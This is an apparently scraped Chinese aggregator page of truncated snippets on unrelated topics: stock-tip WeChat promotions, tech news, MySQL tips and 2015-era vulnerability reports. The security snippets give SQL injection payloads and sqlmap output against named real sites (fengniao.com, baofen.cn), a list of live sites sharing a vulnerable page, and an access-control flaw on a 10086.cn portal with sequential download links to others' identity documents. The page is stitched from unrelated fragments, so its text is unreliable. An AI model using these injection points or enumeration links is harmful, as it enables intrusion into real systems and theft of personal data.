A5交易A5任务 SEO诊断淘宝客 站长团购您可能也喜欢：中国反钓鱼网站联盟：2014年6月中国共处理钓鱼网站8186个Former BuzzFeed COO Jon Steinberg Joins Daily Mail夏普中国官方网站管理后台未授权访问CNNIC：2014年10月中国CN域名注册量创高峰：达1129万个2015年8月中国版的编程语言排行榜无觅 ...继续阅读 (146)

方法是：打开手机上的最新版本微信，按右上方的[＋]，选择第二个[添加朋友]，然后再点最后的[公众号]，输入jiemuzhe518  跳出来第一个就是本人揭幕者，然后点我的头像后再按“关注”就可以了。资讯就是金钱，信息创造价值。你也可以扫一扫以下图片您可能也喜欢：8.4私募必读：证金公司席位再出手涨停追一股4.15直播【独家】私募实盘更新★12.29直播【独家】私募实盘更新★5.7直播【独家】私募实盘更新★6.9直播【独家】私募实盘更新★无觅 ...继续阅读 (20)

官方网站:http://www.rhxwl.com/Server.asp 案例:http://www.linhaihome.com/ http://jh.zjmy.net/ http://www.lqmyjj.com/ http://www.sxjhjj.com/ http://www.sxkfqjj.com/ http://www.sxpjgtmyjj.com/ http://www.wlmyjj.com/ http://jh.zjmy.net/ http://www.hyqmyjj.com/ http://www.jjmyjj.com/ http://www.yhmyjj.com/ http://www.ttmyjj.com/ http://www.xjmyjj.com/ http://www.lqmyjj.com/ #1 漏洞页面:zcfg/list.asp 数据实例证明： www.lqmyjj.com您可能也喜欢：Why you should learn R over SAS?域名商爱名网主站SQL注射sa权限Which population method should I use for my SAS pr ...继续阅读 (72)

code 区域 http://www.fengniao.com/active/20100415_zhuyi/list.php?type=-1%20OR%20length(database())=8%20AND%20000544%3d000544%20--%20 漏洞证明： code 区域 --- Parameter: type (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: type=1 AND 3170=3170 Type: UNION query Title: MySQL UNION query (88) - 2 columns Payload: type=1 UNION ALL SELECT 88,CONCAT(0x716a6b7871,0x72774766587364425077,0x716b787671)# --- web application technology: Nginx back-end DBMS: MySQL 5 current user: '[email protected]%' […]您可能也喜欢：ThinkSNS 防御绕过思路(union select 真正的无限制s ...继续阅读 (279)

Yinz2015/08/19 10:37 本文由Yinzo翻译，转载请保留署名。原文地址：http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#Enablecmdshell 文档版本：1.4 0x00 关于SQL注入速查表 现在仅支持MySQL、Microsoft SQL Server，以及一部分ORACLE和PostgreSQL。大部分样例都不能保证每一个场景都适用。现实场景由于各种插入语、不同的代码环境以及各种不常见甚至奇特的SQL语句，而经常发生变化。 样例仅用于读者理解对于“可能出现的攻击(a potential attack)”的基础概念，并且几乎每一个部分都有一段简洁的概要 M: MySQL S: SQL Server P: PostgreSQL O: Oracle +: (大概)其他所有数据库 例子： (MS) 代表 : MySQL 和 SQL Server 等 (M*S) 代表 : 仅对某些版本或者某些附在后文中的特殊情况的 MySQL，以及SQL Server 0x01 目录 关于SQL注入速查表 语法参考，攻击样例以及注入小技巧 行间注释 使用了行间注释的SQL注入攻击样例 行内注释 使用了行内注释的注入攻击样例 MySQL版本探测攻击样例 堆叠查询(Stacking Queries) 支持堆叠查询的语 ...继续阅读 (228)

GoSSIP_SJTU2015/08/19 10:24 0x00 前言 在上一讲中，我们已经介绍了Padding Oracle攻击的背景知识和基本原理。简单来说，攻击就是利用密文解密后填充是否正确这一信息，以此得到明文的部分信息甚至恢复出全部明文。在这一讲里，我们会按照时间序梳理一遍与此攻击相关并影响SSL协议安全性的重要学术文章，简单介绍文章的贡献，给出其影响及对现实应用的指导意义。 0x01 Padding Oracle的学术线 1998年，贝尔实验室研究员瑞士密码学家Daniel Bleichenbacher在顶级密码学会议CRYPTO上发表了一篇名Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS#1的文章，这算是Padding Oracle攻击的开山之作。文章给出了可用于实际攻击那些使用了PKCS#1v1.5填充规范的RSA的协议的一种有效方法，这些协议中就包含了当时已被广泛使用的SSL协议。此外，这篇文章的学术意义还在于，它也第一次表明了考虑加密方案的适应性选择密文攻击安全性是有实际意义的，实际中可以发起选择密文攻击（对于使用1024bit密钥加密的密文，恢复出对应明文需要大约一百万次Oracle查询，作者对此的描述为though not entire ...继续阅读 (236)

方法是：打开手机上的最新版本微信，按右上方的[＋]，选择第二个[添加朋友]，然后再点最后的[公众号]，输入jiemuzhe518  跳出来第一个就是本人揭幕者，然后点我的头像后再按“关注”就可以了。资讯就是金钱，信息创造价值。你也可以扫一扫以下图片您可能也喜欢：9.16直播【独家】私募实盘更新★4.22直播【独家】私募实盘更新★4.15直播【独家】私募实盘更新★1.7【独家】私募实盘更新★8.5直播【独家】私募实盘更新★无觅 ...继续阅读 (22)

方法是：打开手机上的最新版本微信，按右上方的[＋]，选择第二个[添加朋友]，然后再点最后的[公众号]，输入jiemuzhe518  跳出来第一个就是本人揭幕者，然后点我的头像后再按“关注”就可以了。资讯就是金钱，信息创造价值。你也可以扫一扫以下图片您可能也喜欢：8.10涨停大揭秘：报复性反攻！央企改革领涨8.13涨停大揭秘：V型大反转！国企改革持续火爆！8.14涨停大揭秘：攻4000点失败！最热依然是国企改革8.10涨停大揭秘：市场炒作人民币贬值受益股9.30涨停大揭秘：上证节前创年内新高！无觅 ...继续阅读 (26)

下载最新的4.4.5.1800，依然存在问题。 问题还是出在 RSS的过滤函数上，如下图所示：您可能也喜欢：傲游浏览器远程命令执行漏洞（浏览器设计缺陷）傲游云浏览器V4.1.6.2000远程命令执行漏洞(已反弹shell测试)百度浏览器远程命令执行四傲游浏览器远程直接未授权操作傲游分站命令执行漏洞可窥视内网无觅 ...继续阅读 (59)

A5交易A5任务 SEO诊断淘宝客 站长团购您可能也喜欢：中国联通某快速缴费平台高危漏洞2014年在线教育平台一览表平台出版商：新媒体平台的进攻，传统出版商的反击某政府便民在线缴费网站struts2命令执行漏洞GameMei：不写代码的在线游戏制作平台无觅 ...继续阅读 (17)

瘦蛟舞2015/08/17 14:53 注:框架有风险,使用要谨慎. Cydia Substrate是一个代码修改平台.它可以修改任何主进程的代码,不管是用Java还是C/C++（native代码）编写的.而Xposed只支持HOOK app_process中的java函数,因此Cydia Substrate是一款强大而实用的HOOK工具. 官网地址：http://www.cydiasubstrate.com/ 官方教程：http://www.cydiasubstrate.com/id/38be592b-bda7-4dd2-b049-cec44ef7a73b SDK下载地址：http://asdk.cydiasubstrate.com/zips/cydia_substrate-r2.zip 0x00Hook Java 层 之前讲解过 xposed 的用法为啥还要整这个了,下面简单对比两款框架.想了解之前 xposed 篇的可以看这里:http://drops.wooyun.org/tips/7488 劣势: 没啥错误提醒,排错比较麻烦. 需要对 NDK 开发有一定了解,相对 xposed 模块的开发学习成本高一些. 因为不开源网上(github)上可以参考的模块代码很少. 优势: 可以对 native 函数进行 hook . 与 xposed hook 原理不一样,因为不是开源具体 ...继续阅读 (531)

clzzy2015/08/17 10:18 0x00 Sybase数据库介绍 简介 Sybase的全称又叫： SAP Sybase Adaptive Server Enterprise（简称ASE或Sybase ASE），继承于MSSQL的原始代码，和MSSQL血缘很近。Sybase是一种关系型数据库系统，是一种典型的UNIX或WindowsNT平台上客户机/服务器环境下的大型数据库系统。它以PowerBuilder为开发工具，以SAP Sybase SQL Anywhere为客户端。目前新版是ASE 15.7.x，命名从12.5.5直接到15.0.0（跳过中间的13、14），本次测试的是12.5.2，其中12.5是12大版本中最稳定的版本。 创建数据库的时候要注意存放设备： 服务及端口 开放端口： 备份服务：5001、监控服务：5002、数据库主服务：5000、存储过程服务：5004 默认数据库 Master：系统的核心数据库，控制服务器的操作以及存储有关所有用户数据库和相关的存储设备的信息，包括用户的用户名和密码； Model：模板数据库，当创建用户数据库时，系统根据model数据库制作副本，并将数据库的大小扩展到用户指定的大小。 Systemprocs：保存系统的存储过程。 Sybsystemdb：关于分布式事务管理功能。 Tempdb：包含临时表，放置临时数据。 注册用户和 ...继续阅读 (44)

tofunction2015/08/17 10:17 看着文章不错，顺手翻译了下，如有不足，敬请指正，同时希望能和大家一起交流。 From :http://googleprojectzero.blogspot.com/2015/07/one-perfect-bug-exploiting-type_20.html 对于一些攻击者而言，exp能稳定的利用是很重要的。换言之，exp在运行特定flash版本的特定平台的系统上，exp要每次都能导致代码执行。编写这种高质量的exp的途径之一就是利用高质量的bug(也就是主动因素都利用编写稳定利用的exp).此文讨论的就是利用一个这种类型的bug,并讨论它适合编写稳定利用的exp的因素。 0x00 The Bug Cve-2015-3077是一种发生在Adobe Flash Button和MovieClip的fliters(是一个包含filter对象的索引数组)属性的setters方法的类型混淆问题，使得任意类型的filter都可以用其它类型的filter来混淆。该缺陷在五月份上报给了Adobe,并在五月得到了修复。该bug的根源在于，攻击者可以覆盖初始化filter对象的构造函数。下面的代码能说明这个问题： var filter = new flash.filters.BlurFilter(); object.filters = [filte ...继续阅读 (61)

注入点:http://b2b.89898989.com/reports/printreceipt.aspx?orderno=406032011601 sa权限 写shell失败 可执行sql命令 写shell也失败 未授权:http://b2b.89898989.com/reports/printreceipt.aspx?orderno=406032011601 orderno参数可控 生成个数字字典 跑一下就OK ...继续阅读 (112)

熟悉设计模式，具有扎实的JAVA基础和良好的编程习惯精通SpringMVC等常用Web开发框架您可能也喜欢：韦伯森斯网络安全技术研发（北京）有限公司招聘Sustaining Oriented Software Engineer-JavaJava软件工程师招聘-大麦网招聘How to integrate the Java version of the GroupDocs.Viewer into a PHP appJava Annotated Monthly – May 2014App Server Arena: Part 1, A Comparison of Popular Ruby Application Servers无觅 ...继续阅读 (44)

方法是：打开手机上的最新版本微信，按右上方的[＋]，选择第二个[添加朋友]，然后再点最后的[公众号]，输入jiemuzhe518  跳出来第一个就是本人揭幕者，然后点我的头像后再按“关注”就可以了。资讯就是金钱，信息创造价值。长按以下图片跳出识别二维码后关注。 ...继续阅读 (13)

方法是：打开手机上的最新版本微信，按右上方的[＋]，选择第二个[添加朋友]，然后再点最后的[公众号]，输入jiemuzhe518  跳出来第一个就是本人揭幕者，然后点我的头像后再按“关注”就可以了。资讯就是金钱，信息创造价值。你也可以扫一扫以下图片 ...继续阅读 (22)

199IT原创编译        根据yStats.com的调查“亚太地区网上支付方式：2015上半年”，亚太地区网络消费者对网上支付方式有不同的喜好。调查重要发现之一是亚太地区已经成为全球移动支付用户普及率最高的地区之一。您可能也喜欢：谷歌：全球每月超10亿用户使用YouTube 近4成为移动设备打开大中华地区移动应用新市场，香港成为金钥匙☞移动支付商业模式思考“免费”成为我们移动时代的模型Apple Pay开启移动支付新时代无觅 ...继续阅读 (42)

本文介绍了如何在阿里云服务器上从零开始搭建nginx服务器。阿里云服务器（ECS）相信大家都不陌生，感兴趣的同学可以到http://www.aliyun.com/product/ecs去购买，或到体验馆去体验（半个月有效期）。至于如何注册、管理ECS这里就不详细介绍了。因为官方文档已经写的很清楚了。如果还不清楚，打咨询电话询问。现在假设你已经拥有了阿里云服务器，ip是139.128.33.11（假的，读者需要换成自己的ip地址）。并且没有选择任何安装包。现在ECS是完全空的，除了必须的Linux系统外，其他什么都没有。还有一点，本文选择的是Ubuntu Linux 14.04 64位版本。Linux比较节省内存，因为并没有UI部分，纯控制台操作（看命令行头疼的同学请绕道）。本文只安装nginx服务器，后面的文章会配置其他环节，如PHP、Java、MySQL等。在安装之前需要完成如下两项工作。找一个工具上传文件（如nginx安装包）连接到服务器的Console上，以便执行命令 由于现在服务器还是空的，所以没有ftp服务启动，因此，只能用sftp，至于什么是sftp，如何用sftp（SSH File Transfer Protocol），自己到网上搜索。总之，sftp使用了SSH协议，默认端口号是22。用法和ftp类似。大多数ftp客户端都支持sftp。谁便找一个支持sftp ...继续阅读 (109)

支付宝客户端上看到余额宝有积分计划，点击后进入了“宝粉网”。http://www.baofen.cn/index.php外包站点存在MySQL注射，注射点：code 区域POST /index.php?act=getLogs&app=treasure&mod=Flashexchange HTTP/1.1Content-Length: 49Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://www.baofen.cnCookie: PHPSESSID=t63kglhfa5tlec4v5em1pme7p1; referer=public%2FIndex%2FindexHost: www.baofen.cnConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html; LeeScan/20150403)Accept: */*fe_id=643*&p=2参数fe_id可注入。MySQL bool blin ...继续阅读 (27)

摘要: 安装mysql服务自动启动mysqld.exe --install MySQL5.6安装mysql服务手动启动mysqld.exe --install-manual启动服务：net start MySQL5.6删除MySQL服务：mysqld.exe --remove使用帮助:mysqld.exe --verbose --helpmysqld.exe Ver 5.6.24 ... 阅读全文天下2015-07-22 09:04发表评论 ...继续阅读 (41)

http://si.power.10086.cn/si/portal/login.jsp 任何人都可以注册帐号。【下载或删除大量证件信息】登录后点击"资质合作"-"合作办理"-"新增资质合作"，上传一个文件。得到如下链接：code 区域http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId=801100014391&ticket=46F7E46EEC319B9598DCB64194B3E05C&domain=si修改其中的attachFileId参数，即可下载他人附件。（这是一个公差为1的等差数列 ._.http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId=801100010000 “法人身份证.rar”http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId=801100010001 “开户许可证（广安门）.rar”http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId= ...继续阅读 (93)

http://si.power.10086.cn/si/portal/login.jsp 任何人都可以注册帐号。【下载或删除大量证件信息】登录后点击"资质合作"-"合作办理"-"新增资质合作"，上传一个文件。得到如下链接：code 区域http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId=801100014391&ticket=46F7E46EEC319B9598DCB64194B3E05C&domain=si修改其中的attachFileId参数，即可下载他人附件。（这是一个公差为1的等差数列 ._.http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId=801100010000 “法人身份证.rar”http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId=801100010001 “开户许可证（广安门）.rar”http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId= ...继续阅读 (31)

http://si.power.10086.cn/si/portal/login.jsp 任何人都可以注册帐号。【下载或删除大量证件信息】登录后点击"资质合作"-"合作办理"-"新增资质合作"，上传一个文件。得到如下链接：code 区域http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId=801100014391&ticket=46F7E46EEC319B9598DCB64194B3E05C&domain=si修改其中的attachFileId参数，即可下载他人附件。（这是一个公差为1的等差数列 ._.http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId=801100010000 “法人身份证.rar”http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId=801100010001 “开户许可证（广安门）.rar”http://si.power.10086.cn/server/spreq/attachment!download.action?attachFileId= ...继续阅读 (66)

One of the first data scrapers I wrote for the purpose of statistical analysis was a Facebook Graph API scraper, in order to determine which words are the most important in a Facebook Page status update. However, the v2.0 update to the Facebook API unsurprisingly broke the scraper.Now that v2.4 of the Graph API is released , I gave the Facebook Graph API another look. Turns out, it’s pretty easy to scrape and make into a spreadsheet for easy analysis, although like with any other scrapers, there are a large number of gotchas.FeasibilityIn order to determine if I can sanely scrape a website, I ...继续阅读 (67)

点击上方“Yivian虚拟现实资讯”关注我们硅谷风投：虚拟现实的投资回报还很遥远虚拟现实是时下热点，这还的感谢Oculus背后的Facebook，Magic Leap 背后的Google。VC开始热衷于投资虚拟现实创业公司，但是回报却还很遥远。虚拟现实的投资回报还很遥远这个结论源于周三在硅谷举行的增强现实世界博览会上的部分投资资本的观点。位于加州San Mateo的创业加速器——Boost.vc 算是最激进的投资公司之一。其创始人兼首席执行官Adam Draper，最近把VR作为公司的两个主要投资方向之一（另一个是比特币，约有50个投资，看样子是真的不要快速回报）。Draper表示目前很多资金流冲进去了。这种情况跟几年前的比特币有点类似。但是VR，这个有50多年历史的领域的投资暴涨，至今还没令人却步。Drapers说，“我们沉浸于虚拟现实的狂欢中，一切都变得如此美好如此之快。”位于旧金山的罗森伯格基金也是1年半钱开始投资VR，缘于投资总监 Dylan Flinn 爱上了Oculus Rift的开发者版本。罗森伯格基金投资了虚拟现实社交平台 AltspaceVR（腾讯也投资了）和3D建模创业公司Matterport。Flinn说，“在我们看来，虚拟现实是人机交互的下一个进化方向。”高原资本投资了运动控制器公司Leap Motion，VR影视公司 Jaunt 和 Rethink Rob ...继续阅读 (36)

腾讯科技讯 6月12日至6月14日，微信将与全国近200家购物中心、百货商场、超市卖场联合发起的“摇一摇·全场寻宝”活动。活动期间，消费者只要打开微信摇一摇功能并摇动手机，就会获得优惠券、现金红包等“宝物”。此次微信“摇一摇全场寻宝”活动涉及的城市既有北京、 上海、深圳、天津、广州、西安、重庆、成都这样的一线大城市，还有无锡、黄石、鄂尔多斯、安康这样的二三线城市，商场类型涵盖了各大购物中心、超市百货、IT卖场、家居广场等各种类型。消费者只需要在商场范围内，有网络信号的前提下即可参与：打开手机的蓝牙功能，进入微信摇一摇，猛摇手机，即可摇到宝箱钥匙。用钥匙打开宝箱，可获得各种品牌优惠券，在进入品牌店内消费时出示优惠券，便能够享受折扣。除此之外，用户还将会有机会机会参与抽奖，获得微信现金红包、抱枕、第三方卡券包等礼品。资料显示，“摇一摇周边”是微信团队推出的线上线下互动功能，产品基于近场无线通信技术，实现场景化O2O即时互动。目前已经覆盖零售、餐饮、博物馆、景区、线下广告、城市服务、会议、展览等众多行业和场景，是微信摇一摇功能线上线下联动的产品。本次微信摇一摇“全场寻宝”活动全国城市列表：所在省市 商家名称开启蓝牙“摇一摇”【山西省 万马仕广场山西省晋城市 凤展新时代广场山西省太原市 王府井太原店山西省太原市 巴黎春天购物中心山西省太原市 茂业天地 】北京市 西单大悦城北京市 金源 ...继续阅读 (70)

现在的移动手机端越来越方便，快捷支付，微信、支付宝支付，但风险也很大，特别是不懂手机电脑的菜鸟，还是小心为好，至少绑定银行卡金额不要过多，以免损失惨重，钱秒秒钟就不见了。海林“某”银行就出了事，看着都害怕~~~~不多讲了，大家自己看吧。视频来源：黑龙江电视台新闻真相本文由中国牡丹江－牡丹江论坛编辑，如果你还觉得可以，请分享到您的朋友圈，也可以关注官方微信公众平台。微信号：mdjcnadmin或直接扫牡丹江论坛官方二维码长按指纹，自动识别二维码关注牡丹江论坛牡丹江论坛网址：www.mdjcn.net ...继续阅读 (39)

1.使用Mysql -V [root@ucjmh ~]# mysql -V mysql Ver 14.14 Distrib 5.5.41, for Linux (i686) using readline 5.1 2.在mysql中输入命令-->status mysql> status -------------- mysql Ver 14.14 Distrib 5.5.41, for Linux (i686) using readline 5.1 Connection id: 25 Current database: Current user: root@localhost SSL: Not in use Current pager: stdout Using outfile: '' Using delimiter: ; Server version: 5.5.41 MySQL Community Server (GPL) Protocol version: 10 Connection: Localhost via UNIX socket Server characterset: latin1 Db characterset: utf8 Client characterset: utf8 Conn. characterset: utf8 UNIX socket: ...继续阅读 (36)

在使用navicat for mysql 10.0.10将服务器上生成的数据库备份还原到本地数据库时，出现以下问题：[Err] 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'USING BTREE) ENGINE=InnoDB DEFAULT CHARSET=utf8' at line 6查看Mysql版本：mysql --version服务器数据库版本：mysql  Ver 14.14 Distrib 5.6.19, for Linux (x86_64) using  EditLine wrapper本地数据库版本：mysql  Ver 14.12 Distrib 5.0.37, for Win32 (ia32)推测有可能是版本之间不兼容的问题；但之前这样操作都是没有问题的，这次就不行了!经过一番排查，原来是索引引起的问题：将表中的索引删除，然后再备份，再到本地还原，问题解决。 ...继续阅读 (10)